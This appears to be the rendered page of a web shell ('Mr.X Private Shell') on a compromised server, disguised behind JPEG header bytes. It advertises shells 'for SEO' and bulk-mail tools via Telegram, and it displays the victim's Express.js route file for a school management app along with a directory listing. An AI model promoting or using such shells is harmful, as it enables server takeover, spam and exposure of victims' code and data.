����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

sanzxfik@216.73.216.37: ~ $
import express from "express";
import { userAuth, checkRole } from "../middlewares/AuthMiddleware.js";
import validateBody from "../middlewares/Validator.js";
import { uploadFile } from "../config/multer.js";


// Import dashboard controllers
import {
  getDashboardSummary,
  getMonthlyAttendanceOverview,
  getRecentQueries,
  getCurrentDayOverview,
  getAttendanceRatio,
} from "../controllers/teacher/teacherController.js";

// Import timetable controllers
import {
  getTodayOverview,
  getWeeklyTimetable,
  exportTimetable,
} from "../controllers/teacher/teacherTimetableController.js";

// Import account controllers
import {
  getAccountTopCards,
  getTeachingHoursOverview,
  getSalaryStatusTable,
} from "../controllers/teacher/teacherAccountController.js";

// Import quiz controllers
import {
  getQuizDashboardCards,
  getQuizFilterOptions,
  getQuizzes,
  createQuiz,
  updateQuiz,
  deleteQuiz,
  getQuizDetails,
  closeQuiz,
  downloadQuizTemplate,
  gradeQuizSubmission,
  publishQuiz,
  getAllSubmissionsForGrading
} from "../controllers/teacher/teacherQuizController.js";

// Import query controllers
import {
  getQueries,
  getQueryDetails,
  replyToQuery,
  updateQueryStatus,
  getQueryStats
} from "../controllers/teacher/teacherQueryController.js";

// Import settings controllers
import {
  getTeacherProfile,
  updateTeacherProfile,
  changePassword,
  getTeacherPreferences,
  updateTeacherPreferences,
} from "../controllers/teacher/teacherSettingsController.js";

import {
  createAssignment,
 assignToStudents,
 deleteAssignment,
 getAssignmentSubmissions,
getSingleSubmission,
getTeacherAssignments,
gradeSubmission,
publishAssignment,
updateAssignment,
getClassOptions,
getCourseOptions,
getTeacherOptions,
getClassStudents
} from "../controllers/teacher/teacherAssignmentController.js";

// Import validation schemas
import {
  updateUserSchema,
  createQuizSchema,
  updateQuizSchema,
  replyQuerySchema,
  queryStatusSchema,
  changePasswordSchema,
  updatePreferencesSchema,
  uploadGradeSchema
} from "../validations/index.js";


import {getAttendanceByClass, getStudentsByClass, takeAttendance} from '../controllers/teacher/studentAttendanceController.js'

import {
  uploadGradesExcel,
  createGrade,
  updateGrade,
  publishGrade,
  archiveGrade,
  getStudentGrades,
  getClassGrades,
  deleteGrade,
  bulkPublishGrades,
  deleteAssessment,
  addAssessment,
  getClassSubjectGrades,
} from "../controllers/teacher/teacherGradeController.js";


import {
 // Viewing notifications (targeted to teacher)
  getTeacherNotifications,
  getTeacherNotificationDetail,
  getTeacherNotificationStats,
  markTeacherNotificationAsRead,
  markAllTeacherNotificationsAsRead,
  
  // CRUD for teacher's own notifications (targeting students)
  createTeacherNotification,
  updateTeacherNotification,
  deleteTeacherNotification,
  archiveTeacherNotification,
  getTeacherCreatedNotifications,
  getTeacherCreatedNotificationDetail
} from '../controllers/notificationController.js'

import {
  teacherApplyLeave,
  teacherCancelLeave,
  teacherGetLeaveDetails,
  teacherGetMyLeaves,
  teacherGetMyQuota,
  teacherGetPendingStudentLeaves,
  teacherGetStudentLeaveDetails,
  teacherGetStudentLeaves,
  teacherProcessStudentLeave
}
 from '../controllers/teacher/teacherLeaveController.js'

const router = express.Router();

// Apply teacher authentication middleware to all routes
router.use(userAuth, checkRole(["teacher"]));

// Dashboard routes
router.get("/dashboard/summary", getDashboardSummary);
router.get("/dashboard/monthly-attendance", getMonthlyAttendanceOverview);
router.get("/dashboard/recent-queries", getRecentQueries);
router.get("/dashboard/current-day", getCurrentDayOverview);
router.get("/dashboard/attendance-ratio", getAttendanceRatio);

// Timetable routes
router.get("/timetable/today-overview", getTodayOverview);
router.get("/timetable/weekly", getWeeklyTimetable);
router.get("/timetable/export", exportTimetable);

// Account routes
router.get("/account/summary", getAccountTopCards);
router.get("/account/teaching-hours", getTeachingHoursOverview);
router.get("/account/salary-status", getSalaryStatusTable);

// Quiz routes
router.get("/quiz/dashboard-cards", getQuizDashboardCards);
router.get("/quiz/filter-options", getQuizFilterOptions);
router.get("/quiz", getQuizzes);
router.post(
  "/quiz",
  uploadFile.single("file"), 

  createQuiz
);
router.get("/quiz/:id", getQuizDetails);
router.put("/quiz/:id", validateBody(updateQuizSchema), updateQuiz);
router.delete("/quiz/:id", deleteQuiz);
router.patch("/quiz/:id/close", closeQuiz)
router.patch("/quiz/:id/publish", publishQuiz)
router.get("/quiz-template", downloadQuizTemplate)
router.get("/quiz/:quizId/submission/:submissionId/grade", gradeQuizSubmission)
router.get("/quiz-submissions", getAllSubmissionsForGrading)

// Query routes
router.get("/queries", getQueries);
router.get("/queries/:id", getQueryDetails);
router.post("/queries/:id/reply", validateBody(replyQuerySchema), replyToQuery);
router.put(
  "/queries/:id/status",
  validateBody(queryStatusSchema),
  updateQueryStatus
);
router.get("/queries-stats", getQueryStats)
// Settings routes
router.get("/profile", getTeacherProfile);
router.put("/profile", validateBody(updateUserSchema), updateTeacherProfile);
router.put(
  "/change-password",
  validateBody(changePasswordSchema),
  changePassword
);
router.get("/preferences", getTeacherPreferences);
router.put(
  "/preferences",
  validateBody(updatePreferencesSchema),
  updateTeacherPreferences
);

// Student Attendance routes
router.get("/attendance/class/:classId/students", getStudentsByClass);
router.post("/attendance/take", takeAttendance);
router.get("/attendance/class/:classId/records", getAttendanceByClass);

// Assignment routes
router.post(
  "/assignment/",
  uploadFile.array("files", 20),
  createAssignment
);
router.put(
  "/assignment/:id",
  uploadFile.array("files", 20),
  updateAssignment
);

router.delete("/assignment/:id", deleteAssignment);
router.patch("/assignment/:id/publish", publishAssignment);
router.patch("/assignment/:id/assign", assignToStudents);
router.get("/assignment", getTeacherAssignments);
router.get("/assignment/:id/submissions", getAssignmentSubmissions);
router.get("/assignment/:assignmentId/submission/:submissionId", getSingleSubmission);
router.patch(
  "/assignment/:assignmentId/submission/:submissionId/grade",
  gradeSubmission
);
router.get("/teacher-options", getTeacherOptions)
router.get("/class-options", getClassOptions)
router.get("/course-options", getCourseOptions)
router.get("/class/:classId/students", getClassStudents)

// Grade routes
router.post("/grades/upload", uploadFile.single("file"), uploadGradesExcel);
router.post("/grades", createGrade);
router.put("/grades/:id", updateGrade);
router.post("/grades/:id/assessment", addAssessment);
router.patch("/grades/:id/publish", publishGrade);
router.patch("/grades/bulk-publish", bulkPublishGrades);
router.patch("/grades/:id/archive", archiveGrade);
router.delete("/grades/:id", deleteGrade);
router.delete("/grades/:id/assessment/:assessmentName", deleteAssessment);
router.get("/grades/class/:classId", getClassGrades);
router.get("/grades/class/:classId/subject/:courseId", getClassSubjectGrades);
router.get("/class-options", getClassOptions)
router.get("/course-options", getCourseOptions)
router.get("/grades-class/:classId/students", getClassStudents)



// Notification routes
// ----- INBOX: View notifications targeted to teacher -----
router.get("/notifications/inbox/stats", getTeacherNotificationStats);
router.get("/notifications/inbox", getTeacherNotifications);
router.get("/notifications/inbox/:id", getTeacherNotificationDetail);
router.patch("/notifications/inbox/:id/read", markTeacherNotificationAsRead);
router.patch("/notifications/inbox/read-all", markAllTeacherNotificationsAsRead);

// ----- SENT: Manage notifications created by teacher (for students) -----
router.get("/notifications/sent", getTeacherCreatedNotifications);
router.get("/notifications/sent/:id", getTeacherCreatedNotificationDetail);
router.post("/notifications", uploadFile.array("attachments", 10), createTeacherNotification);
router.put("/notifications/:id", uploadFile.array("attachments", 10), updateTeacherNotification);
router.patch("/notifications/:id/archive", archiveTeacherNotification);
router.delete("/notifications/:id", deleteTeacherNotification);

// Leave routes
// Self-service
router.post("/apply", teacherApplyLeave);
router.get("/my-leaves",  teacherGetMyLeaves);
router.get("/my-quota",  teacherGetMyQuota);
router.get("/my-leave/:id",  teacherGetLeaveDetails);
router.delete("/cancel/:id",  teacherCancelLeave);

// Student leave management
router.get("/student-leaves",  teacherGetStudentLeaves);
router.get("/student-leaves/pending",  teacherGetPendingStudentLeaves);
router.get("/student-leave/:id",  teacherGetStudentLeaveDetails);
router.put("/student-leave/process/:id",  teacherProcessStudentLeave);
export default router;



Filemanager

Name Type Size Permission Actions
accountsRoutes.js File 5.47 KB 0644
adminRoutes.js File 19.54 KB 0644
health.js File 255 B 0644
hrRoutes.js File 15.27 KB 0644
index.js File 573 B 0644
studentRoutes.js File 4.82 KB 0644
teacherRoutes.js File 8.8 KB 0644
userRoutes.js File 794 B 0644